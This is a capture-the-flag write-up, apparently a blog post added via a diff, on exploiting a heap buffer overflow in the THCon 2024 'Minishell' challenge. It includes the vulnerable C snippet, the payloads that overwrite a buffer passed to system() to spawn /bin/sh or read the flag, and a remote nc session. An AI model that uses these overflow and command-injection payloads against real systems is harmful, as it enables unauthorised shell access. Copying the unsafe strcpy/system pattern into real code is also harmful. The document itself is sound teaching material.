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+---
+title: "Minishell (pwn) Write-Up CTF ThCon 2024"
+summary: "Good introduction to basic heap buffer overflow through a custom vulnerable minimalistic shell in C"
+date: 2024-04-07T12:32:53+0200
+lastUpdate: 2024-04-07T12:32:53+0200
+tags: ["pwn", "introduction", "write-up", "Supwn"]
+author: ctmbl
+draft: false
+---
+
+> **IMPORTANT**: You can also find this WU (and others), with **the source code** [on my GitHub](https://github.com/ctmbl/ctf-write-ups/tree/main/THCon-2024)
+
+## Basics
+
+First of all we don't have binaries associated with the challenge so I add to compile them:
+```
+gcc log.c -o log
+gcc minishell.c -lcrypto -o minishell
+```
+
+Once this is done we can start reading the source code!
+
+> **Note**:  
+> Contrary to what I'm used to say and do, here there is no need to inspect the binary with `file`, `checksec`, `strings`, `ldd`, `ltrace` and `strace` because we compiled it ourself!  
+> We can not ensure that it has been compiled the same way in remote, still, it can be useful to experiment a bit.
+
+## Source code inspection
+
+> Please find the source code [on my GitHub](https://github.com/ctmbl/ctf-write-ups/blob/main/THCon-2024/pwn/Minishell)
+
+So let's read the code!
+[`log.c`](https://github.com/ctmbl/ctf-write-ups/blob/main/THCon-2024/pwn/Minishell/log.c) is really simple, just a `main` function, it's a logging tool, it will write its arguments passed in command line to a log file, that's all.
+
+[`minishell.c`](https://github.com/ctmbl/ctf-write-ups/blob/main/THCon-2024/pwn/Minishell/minishell.c) is really something else: 269 lines of code.  
+When reading `C` code I always start looking globally at the function names and then I deep into the `main` function first.
+Here it helped a lot, in `main` we quickly note that there is a bunch of variables initialization, some memory allocation and then a `while(1)`!
+This is the infinite loop allowing the shell to always wait for user instructions.
+
+We understand that the user is prompted for a string, which is then verified (some characters are forbidden in `commandAllowed` maybe there is something here) and parsed with `strtok`.
+Then a bunch of `if else` identify which function to execute given the user command. At that point I could have started looking into each and every function to look for vulnerabilities, but I didn't.
+I wanted to first finish the reading of `main` and I chose really well.
+
+So we continue reading `main` to the last `else` (in case the command doesn't match any predefined strings), and there we have some really interesting stuff!
+```C
+             }else {
+               char  *log = malloc(256 * sizeof(char));
+                strcpy(log, "./log Error with command:");
+
+
+                strcpy(arg, cmd);
+                strcat(log, arg);
+                system(log);
+
+                printf("Unknow command, this event has been reported\n");
+            }
+```
+Some `strcpy`, a `strcat` and above all a `system` call!
+
+Of course it instantly caught my eye: if we were able to control the `log` variable, we could inject some commands here.
+Unfortunately a predefined string is written in `log` and even if we control `cmd` it is just appended to `./log Error with command:` (remember `./log` is the second binary compiled at the beginning) by `strcat` and because special characters like `;` or `&&` are forbidden we cannot inject a 2nd command to `log` 😢
+
+> **Note**:  
+> However I noticed first that at the beginning of the `while` loop `buffer` is copied into `cmd` **before** verifying it with `commandAllowed`.  
+> So I tested an exploit where I injected some forbidden command `aa; /bin/sh` which won't be executed **but will be written in `cmd` anyway**.  
+> And then I inject a second one `a` which is allowed but unrecognized: the idea was that it didn't totally overwrite `cmd` which then would be something like `a\n; /bin/sh` and be appended to `log` then executed.  
+> Unfortunately, `strcpy` (or other reason) adds a `\x00` between the "new" injection `a` and the "remaining" one in `cmd`, so it ends the string and even if the payload is there in the stack it isn't copied in `log` and wouldn't have been executed by `system` anyway.  
+> So close!
+
+So the real vulnerability is still here lying under our eyes: simply `arg` is not the same size as `cmd`, then when copying a long `cmd` into `arg` it overflows.
+```C
+    char* buffer = malloc(256 * sizeof(char));
+    char* cmd = malloc(256 * sizeof(char));
+    char  *arg = malloc(32 * sizeof(char));
+```
+Because `arg` is in the heap the question is then: what do we overflow?
+And the answer is "if it's the first prompt, probably `log` which is alloc'd after `arg`", and finally we control `log`!!!
+
+## Exploitation
+
+Now `arg` is 32 bytes long, and because we're in the heap we will first overwrite the chunk header before overwriting `log`'s content.
+To determine exactly the padding needed for our payload, either we know the heap chunk header size, or we use `gdb` (which is often really useful) but even simpler: a smart payload such as: `AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDDEEEEEEEEFFFFFFFFGGGGGGGG` (generated with a `for` loop in python to avoid silly mistakes...) will easily do the job.  
+We inject it and see:
+```
+$ ./minishell
+spaceshell> AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDDEEEEEEEEFFFFFFFFGGGGGGGG
+sh: line 1: GGGGGGGG: command not found
+sh: line 2: AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDDEEEEEEEEFFFFFFFFGGGGGGGG: command not found
+sh: line 3: AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDDE: command not found
+Unknow command, this event has been reported
+spaceshell>
+```
+Victory! `GGGGGGGG` is executed as a command (I confirmed it with `ltrace ./minishell` and saw the execution of `system` with our payload and the result).
+We then infer that an heap chunk header was 16 bytes long because our payload padding is `AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDDEEEEEEEEFFFFFFFF` which is 48 bytes, minus the 32 of `arg` we get 16 bytes for the header.
+
+The final payload is of course: `AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDDEEEEEEEEFFFFFFFF/bin/sh` and like that we get our shell 😉
+
+Locally:
+```
+$ ./minishell
+spaceshell> AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDDEEEEEEEEFFFFFFFF/bin/sh
+sh-5.2$ whoami
+ctmbl
+```
+Remotely (I could have used `/bin/sh` too of course):
+```
+$ nc 20.19.241.70 3001
+spaceshell> AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDDEEEEEEEEFFFFFFFFcat /home/ctf/flag.txt
+THCON{G00d_0ld_0v3rfl0w}Unknow command, this event has been reported
+```
+🎉🎉🎉🎉
+
+A good old overflow for sure 🙂, but a good reminder and a nice introduction to heap overflow overall 😉
+
+## Conclusion
+
+**To sum up**, here are the main step of the reasoning while tackling this challenge (and maybe how to tackle other `pwn` challenges):
+1. First: **what have I got? what do I want to achieve?**  
+ source code, **no binaries**, a remote access to the executing binary -> we want a **shell on the remote machine**
+2. Here we got source code but no binary, we **skip the inspect part** and just **compile the source code** as we can.  
+ We'll have to **assume the possible protection** of the remote binary.
+   > Note that these two first parts are often forgotten but they are basically driving the rest of the exploit...
+3. Dive into the source code, take a **global look** at the code but **quickly focus on main**.  
+ We do not try to understand everything or every line, just **identify the structure of the code** and potentialy flawed lines: arrays, `malloc` and `free`, `printf`, bounds of `for` loops, Time of Check Time of Use (TOCTOU)...
+4. We do not take a look at other functions while we have not finish reading main
+5. Get a **first idea, try it**, understand why it works, or why it doesn't
+6. Find a possible exploitable bug (here a buffer overflow), confirm it by several means (direct execution and with `ltrace` in my case) and rigorously define the needed payload (in my case the size of the padding)
+7. Exploit, flag, celebrate :tada:
+
+## Resources
+
+> If any doubts you can always contact me on Discord `ctmbl` or issue on my [GitHub](https://github.com/ctmbl/ctf-write-ups/issues) if you need more information or resources 😉
+
+Links:
+- what is a buffer overflow: https://en.wikipedia.org/wiki/Buffer_overflow#Example
+- more about heap structure and exploitation: https://heap-exploitation.dhavalkapil.com/diving_into_glibc_heap/malloc_chunk
+- `strcpy`: https://man7.org/linux/man-pages/man3/strcpy.3.html
+- `strcat`: https://linux.die.net/man/3/strcat
+- `strtok`: https://man7.org/linux/man-pages/man3/strtok.3.html
+- `system`: https://man7.org/linux/man-pages/man3/system.3.html